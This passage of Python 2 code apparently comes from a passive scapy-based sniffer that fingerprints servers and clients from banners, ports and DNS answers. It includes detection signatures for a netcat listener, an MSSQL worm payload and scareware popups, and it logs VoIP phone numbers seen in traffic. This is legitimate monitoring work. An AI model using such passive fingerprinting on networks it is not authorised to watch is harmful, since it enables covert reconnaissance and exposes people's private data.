-1):\n\t\t\t\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"listening\", \"http/iis\")\n\t\t\t\t\t\t\t\tManualServerDescription[sIP + \",TCP_\" + sport] = \"http/iis\"\n\t\t\t\t\t\t\telif (Payload.find('Server: lighttpd') > -1):\n\t\t\t\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"listening\", \"http/lighttpd\")\n\t\t\t\t\t\t\t\tManualServerDescription[sIP + \",TCP_\" + sport] = \"http/lighttpd\"\n\t\t\t\t\t\t\telif (Payload.find('Server: MIIxpc') > -1):\n\t\t\t\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"listening\", \"http/mirrorimage\")\n\t\t\t\t\t\t\t\tManualServerDescription[sIP + \",TCP_\" + sport] = \"http/mirrorimage\"\n\t\t\t\t\t\t\telif (Payload.find('Server: mini_httpd') > -1):\n\t\t\t\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"listening\", \"http/mini-httpd\")\n\t\t\t\t\t\t\t\tManualServerDescription[sIP + \",TCP_\" + sport] = \"http/mini-httpd\"\n\t\t\t\t\t\t\telif (Payload.find('Server: nc -l -p 80') > -1):\n\t\t\t\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"listening\", \"http/nc\")\n\t\t\t\t\t\t\t\tManualServerDescription[sIP + \",TCP_\" + sport] = \"http/nc\"\n\t\t\t\t\t\t\telif (Payload.find('Server: nginx/') > -1):\n\t\t\t\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"listening\", \"http/nginx\")\n\t\t\t\t\t\t\t\tManualServerDescription[sIP + \",TCP_\" + sport] = \"http/nginx\"\n\t\t\t\t\t\t\telif (Payload.find('Server: Nucleus') > -1):\n\t\t\t\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"listening\", \"http/nucleus\")\n\t\t\t\t\t\t\t\tManualServerDescription[sIP + \",TCP_\" + sport] = \"http/nucleus\"\n\t\t\t\t\t\t\telif (Payload.find('Server: RomPager') > -1):\n\t\t\t\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"listening\", \"http/rompager\")\n\t\t\t\t\t\t\t\tManualServerDescription[sIP + \",TCP_\" + sport] = \"http/rompager\"\n\t\t\t\t\t\t\telif (Payload.find('Server: Server') > -1):\n\t\t\t\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"listening\", \"http/server\")\n\t\t\t\t\t\t\t\tManualServerDescription[sIP + \",TCP_\" + sport] = \"http/server\"\n\t\t\t\t\t\t\telif (Payload.find('Server: Sun-ONE-Web-Server/') > -1):\n\t\t\t\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"listening\", \"http/sun-one\")\n\t\t\t\t\t\t\t\tManualServerDescription[sIP + \",TCP_\" + sport] = \"http/sun-one\"\n\t\t\t\t\t\t\telif (Payload.find('Server: TrustRank Frontend') > -1):\n\t\t\t\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"listening\", \"http/trustrank\")\n\t\t\t\t\t\t\t\tManualServerDescription[sIP + \",TCP_\" + sport] = \"http/trustrank\"\n\t\t\t\t\t\t\telif (Payload.find('Server: YTS/') > -1):\n\t\t\t\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"listening\", \"http/yahoo\")\n\t\t\t\t\t\t\t\tManualServerDescription[sIP + \",TCP_\" + sport] = \"http/yahoo\"\n\t\t\t\t\t\t\telif (Payload.find('HTTP/1.0 404 Not Found') > -1) or (Payload.find('HTTP/1.1 200 OK') > -1):\n\t\t\t\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"listening\", \"http/generic\")\n\t\t\t\t\t\t\t\tManualServerDescription[sIP + \",TCP_\" + sport] = \"http/generic\"\n\t\t\t\t\t\t\t\tUnhandledPacket(p)\n\t\t\t\t\t\t\t\t#LogNewPayload(ServerPayloadDir, FromPort, Payload)\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tUnhandledPacket(p)\n\t\t\t\t\t\t\t\t#LogNewPayload(ServerPayloadDir, FromPort, Payload)\n\t\t\t\t\t\telif (sport == \"110\") and (Payload != None) and (Payload.find('POP3 Server Ready') > -1):\n\t\t\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"listening\", \"pop3/generic\")\n\t\t\t\t\t\t\tManualServerDescription[sIP + \",TCP_\" + sport] = \"pop3/generic\"\n\t\t\t\t\t\telif (sport == \"143\") and (Payload != None) and (Payload.find('* OK dovecot ready') > -1):\n\t\t\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"listening\", \"imap/dovecot\")\n\t\t\t\t\t\t\tManualServerDescription[sIP + \",TCP_\" + sport] = \"imap/dovecot\"\n\t\t\t\t\t\telif (sport == \"143\") and (Payload != None) and (Payload.find(' IMAP4rev1 ') > -1):\n\t\t\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"listening\", \"imap/generic\")\n\t\t\t\t\t\t\tManualServerDescription[sIP + \",TCP_\" + sport] = \"imap/generic\"\n\t\t\t\t\t\t\tUnhandledPacket(p)\n\t\t\t\t\t\t\t#LogNewPayload(ServerPayloadDir, FromPort, Payload)\n\t\t\t\t\t\telif (sport == \"783\") and (Payload != None) and (Payload.find('SPAMD/1.1 ') > -1):\n\t\t\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"listening\", \"spamd/spamd\")\n\t\t\t\t\t\t\tManualServerDescription[sIP + \",TCP_\" + sport] = \"spamd/spamd\"\n\t\t\t\t\t\telif ( (sport == \"3128\") or (sport == \"80\") ) and (Payload != None) and (Payload.find('Via: ') > -1) and (Payload.find(' (squid/') > -1):\n\t\t\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"listening\", \"proxy/squid\")\n\t\t\t\t\t\t\tManualServerDescription[sIP + \",TCP_\" + sport] = \"proxy/squid\"\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tUnhandledPacket(p)\n\t\t\t\t\t\t\t#LogNewPayload(ServerPayloadDir, FromPort, Payload)\n\t\t\t\telif ((LiveTCPService.has_key(ToPort)) and (LiveTCPService[ToPort] == True)):\t\t#If the \"To\" side is a known TCP server:\n\t\t\t\t\tClientKey = sIP + \",TCP_\" + dport\t#Note: CLIENT ip and SERVER port\n\t\t\t\t\tif (not ClientDescription.has_key(ClientKey)):\n\t\t\t\t\t\tif (dport == \"22\") and (Payload != None) and ( (Payload.find('SSH-2.0-OpenSSH_') > -1) or (Payload.find('SSH-1.5-OpenSSH_') > -1) ):\n\t\t\t\t\t\t\tReportId(\"TC\", sIP, \"TCP_\" + dport, \"open\", \"ssh/openssh\")\n\t\t\t\t\t\t#As cute as it is to catch this, it miscatches any relay that's carrying a pine-generated mail.\n\t\t\t\t\t\t#elif (dport == \"25\") and (Payload != None) and (Payload.find('Message-ID: <Pine.') > -1):\n\t\t\t\t\t\t#\tReportId(\"TC\", sIP, \"TCP_\" + dport, \"open\", \"smtp/pine\")\n\t\t\t\t\t\telif ( (dport == \"80\") or (dport == \"3128\") ) and (Payload != None) and (Payload.find('User-Agent: libwww-perl/') > -1):\n\t\t\t\t\t\t\tReportId(\"TC\", sIP, \"TCP_\" + dport, \"open\", \"http/libwww-perl\")\n\t\t\t\t\t\telif ( (dport == \"80\") or (dport == \"3128\") ) and (Payload != None) and (Payload.find('User-Agent: Lynx') > -1):\n\t\t\t\t\t\t\tReportId(\"TC\", sIP, \"TCP_\" + dport, \"open\", \"http/lynx\")\n\t\t\t\t\t\telif ( (dport == \"80\") or (dport == \"3128\") ) and (Payload != None) and (Payload.find('User-Agent: Mozilla') > -1) and (Payload.find(' Firefox/') > -1):\n\t\t\t\t\t\t\tReportId(\"TC\", sIP, \"TCP_\" + dport, \"open\", \"http/firefox\")\n\t\t\t\t\t\telif ( (dport == \"80\") or (dport == \"3128\") ) and (Payload != None) and (Payload.find('User-Agent: Wget/') > -1):\n\t\t\t\t\t\t\tReportId(\"TC\", sIP, \"TCP_\" + dport, \"open\", \"http/wget\")\n\t\t\t\t\t\telif (dport == \"143\") and (Payload != None) and (Payload.find('A0001 CAPABILITY') > -1):\n\t\t\t\t\t\t\tReportId(\"TC\", sIP, \"TCP_\" + dport, \"open\", \"imap/generic\")\n\t\t\t\t\t\t\t#LogNewPayload(ClientPayloadDir, ClientKey, Payload)\n\t\t\t\t\t\telif (dport == \"783\") and (Payload != None) and (Payload.find('PROCESS SPAMC') > -1):\n\t\t\t\t\t\t\tReportId(\"TC\", sIP, \"TCP_\" + dport, \"open\", \"spamd/spamc\")\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tUnhandledPacket(p)\n\t\t\t\t\t\t\t#LogNewPayload(ClientPayloadDir, ClientKey, Payload)\n\t\t\t\telse:\t#Neither port pair is known as a server\n\t\t\t\t\tUnhandledPacket(p)\n\t\t\t\t\t#Following is debugging at best; it should only show up early on as the sniffer listens to conversations for which it didn't hear the SYN/ACK\n\t\t\t\t\t#print \"note: neither \" + FromPort + \" nor \" + ToPort + \" is listed as a live service.\"\n\t\t\telse:\t#Other TCP flag combinations here\n\t\t\t\tUnhandledPacket(p)\n\t\telif p['IP'].proto == 17 and (type(p['UDP']) == UDP):\t\t#UDP. We have to check the object type as well as we do get (corrupted? truncated?) packets with type 17 that aren't udp: AttributeError: 'NoneType' object has no attribute 'sport'\n\t\t\t#FIXME - possibly run udp packets through ServiceFPs as well?\n\t\t\tsport=str(p['UDP'].sport)\n\t\t\tdport=str(p['UDP'].dport)\n\t\t\tSrcService = sIP + \",UDP_\" + sport\n\t\t\tDstService = dIP + \",UDP_\" + dport\n\t\t\tSrcClient = sIP + \",UDP_\" + dport\n\t\t\tPayload = p['Raw.load']\n\n\t\t\t#Multicast DNS: http://files.multicastdns.org/draft-cheshire-dnsext-multicastdns.txt\n\t\t\t#- usually sent to 224.0.0.251 (or FF02::FB) (link-local multicast).\n\t\t\t#\t- if \".local.\" in query, these MUST be the target IPs\n\t\t\t#\t- non-local queries may be sent to these or normal dns servers\n\t\t\t#\t- rdns queries for \"254.169.in-addr.arpa.\" MUST be sent to 224.0.0.251\n\t\t\t#\t- rdns queries for \"8.e.f.ip6.arpa.\", \"9.e.f.ip6.arpa.\",\"a.e.f.ip6.arpa.\", and \"b.e.f.ip6.arpa.\" MUST be sent to the IPv6 mDNS link-local multicast address FF02::FB.\n\t\t\t#- sent to udp port 5353\n\t\t\t#- generic clients may use \"single-dns-object.local.\", such as \"sparrow.local.\"\n\t\t\t#- responses have IP TTL = 255 to check that packet originated on-lan\n\n\t\t\t#Multicast DNS, placed next to normal dns, out of numerical order\n\t\t\tif (dport == \"5353\") and ( (p['IP'].ttl == 1) or (p['IP'].ttl == 255) ):\n\t\t\t\tif ((not LiveUDPService.has_key(SrcClient)) or (LiveUDPService[SrcClient] == False)):\n\t\t\t\t\tLiveUDPService[SrcClient] = True\n\t\t\t\t\tif (dIP == \"224.0.0.251\"):\n\t\t\t\t\t\tReportId(\"UC\", sIP, \"UDP_\" + dport, \"open\", \"mdns/broadcastclient\")\n\t\t\t\t\telse:\n\t\t\t\t\t\tReportId(\"UC\", sIP, \"UDP_\" + dport, \"open\", \"mdns/client\")\n\n\t\t\t\t\t#Extract dns answers like with 53; change elif to if and add 5353 to ports on next if?\n\t\t\t\t\t#At the moment, no; scapy does not appear to parse 5353 as dns.\n\t\t\t\t\t#else:\n\t\t\t\t\t#\tUnhandledPacket(p)\n\t\t\t#FIXME - add check for \"if isinstance(p['DNS'], whatevertype):\there and at all p[] accesses.\n\t\t\telif (sport == \"53\") and (isinstance(p['DNS'], DNS)) and (p['DNS'].qr == 1):\t\t#qr == 1 is a response\n\t\t\t\tif ((not LiveUDPService.has_key(SrcService)) or (LiveUDPService[SrcService] == False)):\n\t\t\t\t\tLiveUDPService[SrcService] = True\n\t\t\t\t\t#FIXME - Also report the TLD from one of the query answers to show what it's willing to answer for?\n\t\t\t\t\tReportId(\"US\", sIP, \"UDP_\" + sport, \"open\", \"dns/server\")\n\t\t\t\t#Now we extract dns answers. First, check that there's no dns error:\n\t\t\t\tif (p['DNS'].rcode == 0):\t\t\t#No error\n\t\t\t\t\tDNSBlocks = [ ]\n\t\t\t\t\tCNAMERecs = [ ]\t\t\t\t#We hold onto all cnames until we've processed all PTR's and A's here\n\t\t\t\t\tif (p['DNS'].ancount > 0):\t\t#If we have at least one answer from the answer block, process it\n\t\t\t\t\t\tDNSBlocks.append(p[DNS].an)\n\t\t\t\t\tif (p['DNS'].arcount > 0):\t\t#Likewise for the \"additional\" block\n\t\t\t\t\t\tDNSBlocks.append(p[DNS].ar)\n\t\t\t\t\tfor OneAn in DNSBlocks:\n\t\t\t\t\t\t#Thanks to Philippe Biondi for showing me how to extract additional records.\n\t\t\t\t\t\t#Debug(\"Start dns extract\" + str(p['DNS'].ancount))\n\t\t\t\t\t\t#OneAn = p[DNS].an\n\t\t\t\t\t\t#while OneAn is not NoPayload:\t\t#This doesn't seem to stop at the end of the list; incorrect syntax.\n\t\t\t\t\t\twhile isinstance(OneAn,DNSRR):\t\t#Somewhat equivalent:\twhile not isinstance(an, NoPayload):\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t#print \"Type: \" + str(type(OneAn))\t\t#All of type scapy.DNSRR\n\t\t\t\t\t\t\tif (OneAn.rclass == 1) and (OneAn.type == 1):\t\t#\"IN\" class and \"A\" type answer\n\t\t\t\t\t\t\t\tDNSIPAddr = OneAn.rdata\n\t\t\t\t\t\t\t\tDNSHostname = OneAn.rrname.lower()\n\t\t\t\t\t\t\t\t#Check new hostname to see if it's in the list.\n\t\t\t\t\t\t\t\tif (not DNSRecord.has_key(DNSIPAddr + \",A\")) or (not(DNSHostname in DNSRecord[DNSIPAddr + \",A\"])):\n\t\t\t\t\t\t\t\t\tReportId(\"DN\", DNSIPAddr, \"A\", DNSHostname, \"\")\n\t\t\t\t\t\t\telif (OneAn.rclass == 1) and (OneAn.type == 2):\t\t\t#\"IN\" class and \"NS\" answer\n\t\t\t\t\t\t\t\tpass\t\t\t\t\t\t\t#Perhaps later\n\t\t\t\t\t\t\t\t#Like cnames, this is object -> nameserver hostname, so these would need to be queued like cnames until we're done with A's and PTR's.\n\t\t\t\t\t\t\telif (OneAn.rclass == 1) and (OneAn.type == 5):\t\t\t#\"IN\" class and \"CNAME\" answer\n\t\t\t\t\t\t\t\tCNAMERecs.append(OneAn)\t\t\t\t\t#Remember the record; we'll process these after the PTR's and A's\n\t\t\t\t\t\t\telif (OneAn.rclass == 1) and (OneAn.type == 6):\t\t\t#\"IN\" class and \"SOA\" answer\n\t\t\t\t\t\t\t\tpass\t\t\t\t\t\t\t#Not immediately useful, perhaps later\n\t\t\t\t\t\t\telif (OneAn.rclass == 1) and (OneAn.type == 12):\t\t#\"IN\" class and \"PTR\" type answer\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#For input of '182.111.59.66.in-addr.arpa.' :\n\t\t\t\t\t\t\t\tDNSIPAddr = OneAn.rrname.replace(\".in-addr.arpa.\", \"\")\t\t# '182.111.59.66'\n\t\t\t\t\t\t\t\tDNSIPAddr = DNSIPAddr.split('.')\t\t\t\t# ['182', '111', '59', '66']\n\t\t\t\t\t\t\t\tDNSIPAddr.reverse()\t\t\t\t\t\t# ['66', '59', '111', '182']\n\t\t\t\t\t\t\t\tDNSIPAddr = string.join(DNSIPAddr, '.')\t\t\t\t# '66.59.111.182'\n\t\t\t\t\t\t\t\t#Check that we end up with a legal IPv4 address before continuing; we're getting garbage.\n\t\t\t\t\t\t\t\tif (re.search('^[1-9][0-9\\.]*[0-9]$', DNSIPAddr) == None):\n\t\t\t\t\t\t\t\t\tDebug(\"Odd PTR rrname: \" + OneAn.rrname)\n\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\tDNSHostname = OneAn.rdata.lower()\n\t\t\t\t\t\t\t\t\tif (not DNSRecord.has_key(DNSIPAddr + \",PTR\")) or (not(DNSHostname in DNSRecord[DNSIPAddr + \",PTR\"])):\n\t\t\t\t\t\t\t\t\t\tReportId(\"DN\", DNSIPAddr, \"PTR\", DNSHostname, \"\")\n\t\t\t\t\t\t\telif (OneAn.rclass == 1) and (OneAn.type == 15):\t\t#\"IN\" class and \"MX\" answer\n\t\t\t\t\t\t\t\tpass\t\t\t\t\t\t\t#Possibly later\n\t\t\t\t\t\t\telif (OneAn.rclass == 1) and (OneAn.type == 28):\t\t#\"IN\" class and \"AAAA\" answer\n\t\t\t\t\t\t\t\tDNSIPAddr = OneAn.rdata.upper()\n\t\t\t\t\t\t\t\tDNSHostname = OneAn.rrname.lower()\n\t\t\t\t\t\t\t\tif (not DNSRecord.has_key(DNSIPAddr + \",AAAA\")) or (not(DNSHostname in DNSRecord[DNSIPAddr + \",AAAA\"])):\n\t\t\t\t\t\t\t\t\tReportId(\"DN\", DNSIPAddr, \"AAAA\", DNSHostname, \"\")\n\n\t\t\t\t\t\t\t#Move to the next DNS object in the \"an\" block\n\t\t\t\t\t\t\tOneAn = OneAn.payload\n\t\t\t\t\tfor OneCNAME in CNAMERecs:\t\t#Now that we have all A/PTR's, go back and turn cname records into pseudo-A's\n\t\t\t\t\t\tif isinstance(OneCNAME,DNSRR):\n\t\t\t\t\t\t\tAlias = OneCNAME.rrname.lower()\n\t\t\t\t\t\t\tExisting = OneCNAME.rdata.lower()\n\t\t\t\t\t\t\tif isFQDN(Alias) and isFQDN(Existing):\n\t\t\t\t\t\t\t\tif HostIPs.has_key(Existing):\n\t\t\t\t\t\t\t\t\tfor OneIP in HostIPs[Existing]:\t\t\t\t#Loop through each of the IPs for the canonical name, and\n\t\t\t\t\t\t\t\t\t\tif (not DNSRecord.has_key(OneIP + \",CNAME\")) or (not(Alias in DNSRecord[OneIP + \",CNAME\"])):\n\t\t\t\t\t\t\t\t\t\t\tReportId(\"DN\", OneIP, \"CNAME\", Alias, \"\")\t#report them as kind-of A records for the Alias.\n\t\t\t\t\t\t\t\t#If we don't have a A/PTR record for \"Existing\", just ignore it. Hopefully we'll get the Existing A/PTR in the next few answers, and will re-ask for the CNAME later, at which point we'll get a full cname record.\n\t\t\t\t\t\t\t\t#else:\n\t\t\t\t\t\t\t\t#\tDebug(\"CNAME \" + Alias + \" -> \" + Existing + \" requested, but no IP's for the latter, skipping.\")\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tDebug(\"One of \" + Alias + \" and \" + Existing + \" isn't an FQDN, skipping cname processing.\")\n\t\t\t\telif (p['DNS'].rcode == 1):\t\t\t#FormErr: server responding to an improperly formatted request\n\t\t\t\t\tpass\n\t\t\t\telif (p['DNS'].rcode == 2):\t\t\t#ServFail: domain exists, root nameservers list authoritative name servers, but authNS's won't answer queries\n\t\t\t\t\tpass\n\t\t\t\telif (p['DNS'].rcode == 3):\t\t\t#NXDOMAIN: root nameservers don't have any listing (domain doesn't exist or is on hold)\n\t\t\t\t\tpass\n\t\t\t\telif (p['DNS'].rcode == 5):\t\t\t#Query refused\n\t\t\t\t\tpass\n\t\t\t\telse:\t#rcode indicates an error\n\t\t\t\t\tUnhandledPacket(p)\n\t\t\telif (dport == \"53\") and (type(p['DNS']) == DNS) and (p['DNS'].qr == 0):\t#dns query\n\t\t\t\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\n\t\t\t\t\tLiveUDPClient[SrcClient] = True\n\t\t\t\t\tReportId(\"UC\", sIP, \"UDP_\" + dport, \"open\", \"dns/client\")\n\t\t\telif (sport == \"67\") and (dport == \"68\"):\t\t#Bootp/dhcp server talking to client\n\t\t\t\tif ((not LiveUDPService.has_key(SrcService)) or (LiveUDPService[SrcService] == False)):\n\t\t\t\t\tLiveUDPService[SrcService] = True\n\t\t\t\t\tReportId(\"US\", sIP, \"UDP_\" + sport, \"open\", \"bootpordhcp/server\")\n\t\t\telif (sport == \"68\") and (dport == \"67\"):\t\t#Bootp/dhcp client talking to server\n\t\t\t\tif (sIP != \"0.0.0.0\"):\t\t\t\t#If the client is simply renewing an IP, remember it.\n\t\t\t\t\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\n\t\t\t\t\t\tLiveUDPClient[SrcClient] = True\n\t\t\t\t\t\tReportId(\"UC\", sIP, \"UDP_\" + dport, \"open\", \"bootpordhcp/client\")\n\t\t\t\t#else:\t\t\t\t\t\t#If you want to record which macs are asking for addresses, do it here.\n\t\t\t\t#\tpass\n\t\t\telif (sport == \"123\") and (dport == \"123\") and (p['NTP'].stratum != ''):\n\t\t\t\tif ((not LiveUDPService.has_key(SrcService)) or (LiveUDPService[SrcService] == False)):\n\t\t\t\t\tLiveUDPService[SrcService] = True\n\t\t\t\t\tReportId(\"US\", sIP, \"UDP_\" + sport, \"open\", \"ntp/generic\")\n\t\t\telif (dport == \"123\") and ( (dIP == \"216.115.23.75\") or (dIP == \"216.115.23.76\") or (dIP == \"69.59.240.75\") ):\n\t\t\t\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\n\t\t\t\t\tLiveUDPClient[SrcClient] = True\n\t\t\t\t\tReportId(\"UC\", sIP, \"UDP_\" + dport, \"open\", \"ntp/vonageclient\")\n\t\t\telif (sport == \"123\") and ( (sIP == \"216.115.23.75\") or (sIP == \"216.115.23.76\") or (sIP == \"69.59.240.75\") ):\n\t\t\t\tif ((not LiveUDPService.has_key(SrcService)) or (LiveUDPService[SrcService] == False)):\n\t\t\t\t\tLiveUDPService[SrcService] = True\n\t\t\t\t\tReportId(\"US\", sIP, \"UDP_\" + sport, \"open\", \"ntp/vonageserver\")\n\t\t\telif (dport == \"137\"):\t\t\t#netbios-ns\n\t\t\t\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\n\t\t\t\t\tif (p['Ethernet'].dst.upper() == \"FF:FF:FF:FF:FF:FF\"):\t\t\t#broadcast\n\t\t\t\t\t\tLiveUDPClient[SrcClient] = True\n\t\t\t\t\t\tReportId(\"UC\", sIP, \"UDP_\" + dport, \"open\", \"netbios-ns/broadcastclient\")\n\t\t\t\t\telif (Payload != None) and (Payload.find('CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') > -1):\t#wildcard\n\t\t\t\t\t\tLiveUDPClient[SrcClient] = True\n\t\t\t\t\t\tReportId(\"UC\", sIP, \"UDP_\" + dport, \"open\", \"netbios-ns/wildcardclient\")\n\t\t\t\t\telse:\n\t\t\t\t\t\tLiveUDPClient[SrcClient] = True\n\t\t\t\t\t\tReportId(\"UC\", sIP, \"UDP_\" + dport, \"open\", \"netbios-ns/unicastclient\")\n\t\t\t\t\t\tUnhandledPacket(p)\n\t\t\telif (sport == \"500\") and (dport == \"500\") and (p['ISAKMP'].init_cookie != ''):\n\t\t\t\tif ((not LiveUDPService.has_key(SrcService)) or (LiveUDPService[SrcService] == False)):\n\t\t\t\t\tLiveUDPService[SrcService] = True\n\t\t\t\t\tReportId(\"US\", sIP, \"UDP_\" + sport, \"open\", \"isakmp/generic\")\n\t\t\telif (dport == \"512\"):\t\t\t#BIFF\n\t\t\t\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\n\t\t\t\t\tif (Payload != None) and (Payload.find('@') > -1):\n\t\t\t\t\t\tLiveUDPClient[SrcClient] = True\n\t\t\t\t\t\tReportId(\"UC\", sIP, \"UDP_\" + dport, \"open\", \"biff/client\")\n\t\t\t\t\telse:\n\t\t\t\t\t\tUnhandledPacket(p)\n\t\t\telif ( (dport == \"1026\") or (dport == \"1027\") or (dport == \"1028\") ):\t#winpopup spam client\n\t\t\t\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\n\t\t\t\t\tif (Payload != None) and ( (Payload.find('Download Registry Update from:') > -1) or (Payload.find('CRITICAL ERROR MESSAGE! - REGISTRY DAMAGED AND CORRUPTED.') > -1) or (Payload.find('Your system registry is corrupted and needs to be cleaned immediately.') > -1) or (Payload.find('CRITICAL SYSTEM ERRORS') > -1) ):\n\t\t\t\t\t\tLiveUDPClient[SrcClient] = True\n\t\t\t\t\t\tReportId(\"UC\", sIP, \"UDP_\" + dport, \"open\", \"winpopup/spamclient\")\n\t\t\t\t\telse:\n\t\t\t\t\t\tUnhandledPacket(p)\n\t\t\telif (dport == \"1434\"):\t\t#Probable mssql attack\n\t\t\t\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\n\t\t\t\t\tif (Payload != None) and (Payload.find('Qh.dll') > -1):\n\t\t\t\t\t\tLiveUDPClient[SrcClient] = True\n\t\t\t\t\t\tReportId(\"UC\", sIP, \"UDP_\" + dport, \"open\", \"mssql/clientattack\")\n\t\t\t\t\telse:\n\t\t\t\t\t\tUnhandledPacket(p)\n\t\t\telif (sport == \"1900\") and (dport == \"1900\") and (dIP == \"239.255.255.250\"):\t\t#SSDP\n\t\t\t\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\n\t\t\t\t\tif (Payload != None) and (Payload.find('NOTIFY') > -1):\n\t\t\t\t\t\tLiveUDPClient[SrcClient] = True\n\t\t\t\t\t\tReportId(\"UC\", sIP, \"UDP_\" + dport, \"open\", \"ssdp/client\")\n\t\t\t\t\telse:\n\t\t\t\t\t\tUnhandledPacket(p)\n\t\t\telif (dport == \"3865\") and (dIP == \"255.255.255.255\"):\t\t#XPL, http://wiki.xplproject.org.uk/index.php/Main_Page\n\t\t\t\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\n\t\t\t\t\tLiveUDPClient[SrcClient] = True\n\t\t\t\t\tReportId(\"UC\", sIP, \"UDP_\" + dport, \"open\", \"xpl/client\")\n\t\t\telif (sport == \"5061\") and (dport == \"5061\") and ( (dIP == \"216.115.30.28\") or (dIP == \"69.59.227.77\") or (dIP == \"69.59.232.33\") or (dIP == \"69.59.240.84\") ):\t\t#Vonage SIP client\n\t\t\t\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\n\t\t\t\t\tif (Payload != None) and (Payload.find('.vonage.net:5061 SIP/2.0') > -1):\n\t\t\t\t\t\tLiveUDPClient[SrcClient] = True\n\t\t\t\t\t\tSipMatch = SipPhoneMatch.search(Payload)\n\t\t\t\t\t\tif (SipMatch != None) and (len(SipMatch.groups()) >= 1):\n\t\t\t\t\t\t\tReportId(\"UC\", sIP, \"UDP_\" + dport, \"open\", \"sip/vonage_client, phone number: \" + SipMatch.group(1))\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tReportId(\"UC\", sIP, \"UDP_\" + dport, \"open\", \"sip/vonage_client\")\n\t\t\t\t\telse:\n\t\t\t\t\t\tUnhandledPacket(p)\n\t\t\telif (sport == \"5061\") and (dport == \"5061\") and ( (sIP == \"216.115.30.28\") or (sIP == \"69.59.227.77\") or (sIP == \"69.59.232.33\") or (sIP == \"69.59.240.84\") ):\t#Vonage SIP server\n\t\t\t\tif ((not LiveUDPService.has_key(SrcService)) or (LiveUDPService[SrcService] == False)):\n\t\t\t\t\tif (Payload != None) and (Payload.find('.vonage.net:5061>') > -1):\n\t\t\t\t\t\tLiveUDPService[SrcService] = True\n\t\t\t\t\t\tReportId(\"US\", sIP, \"UDP_\" + sport, \"open\", \"sip/vonage_server\")\n\t\t\t\t\telse:\n\t\t\t\t\t\tUnhandledPacket(p)\n\t\t\telif (sport == \"6515\") and (dport == \"6514\") and (dIP == \"255.255.255.255\"):\t\t#mcafee ASaP broadcast, looking for a proxy out. http://www.myasap.de/intl/EN/content/virusscan_asap/faq_new.asp\n\t\t\t\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\n\t\t\t\t\tif (Payload != None) and (Payload.find('<rumor version=') > -1):\n\t\t\t\t\t\tLiveUDPClient[SrcClient] = True\n\t\t\t\t\t\tReportId(\"UC\", sIP, \"UDP_\" + dport, \"open\", \"asap/client\")\n\t\t\t\t\telse:\n\t\t\t\t\t\tUnhandledPacket(p)\n\t\t\telif ( (sport == \"9052\") or (sport == \"9053\") or (sport == \"9054\") ) and ( (sIP == \"205.188.146.72\") or (sIP == \"205.188.157.241\") or (sIP == \"205.188.157.242\") or (sIP == \"205.188.157.243\") or (sIP == \"205.188.157.244\") or (sIP == \"64.12.51.145\") or (sIP == \"64.12.51.148\") or (sIP == \"149.174.54.131\") ):\t#Possibly AOL dns response\n\t\t\t\tif ((not LiveUDPService.has_key(SrcService)) or (LiveUDPService[SrcService] == False)):\n\t\t\t\t\tif (Payload != None) and (Payload.find('dns-01') > -1):\n\t\t\t\t\t\tLiveUDPService[SrcService] = True\n\t\t\t\t\t\tReportId(\"US\", sIP, \"UDP_\" + sport, \"open\", \"aoldns/server\")\n\t\t\t\t\telse:\n\t\t\t\t\t\tUnhandledPacket(p)\n\t\t\telif (sport == \"27005\") and ( (dport == \"27016\") or (dport == \"27017\") ):\t\t\t\t#Halflife client live game\n\t\t\t\tif ((not LiveUDPClient.has_key(SrcClient)) or (LiveUDPClient[SrcClient] == False)):\n\t\t\t\t\tLiveUDPClient[SrcClient] = True\n\t\t\t\t\tReportId(\"UC\", sIP, \"UDP_\" + dport, \"open\", \"halflife/client\")\n\t\t\telif (dport == \"27013\") and (dIP == \"207.173.177.12\"):\t\t\t\t#variable payload, so can't (Payload != None) and (Payload.find('Steam.exe') > -1)\t\t\t\t#Halflife client\n\t\t\t\tif ((not LiveUDPClient.has_key(SrcClient)) or 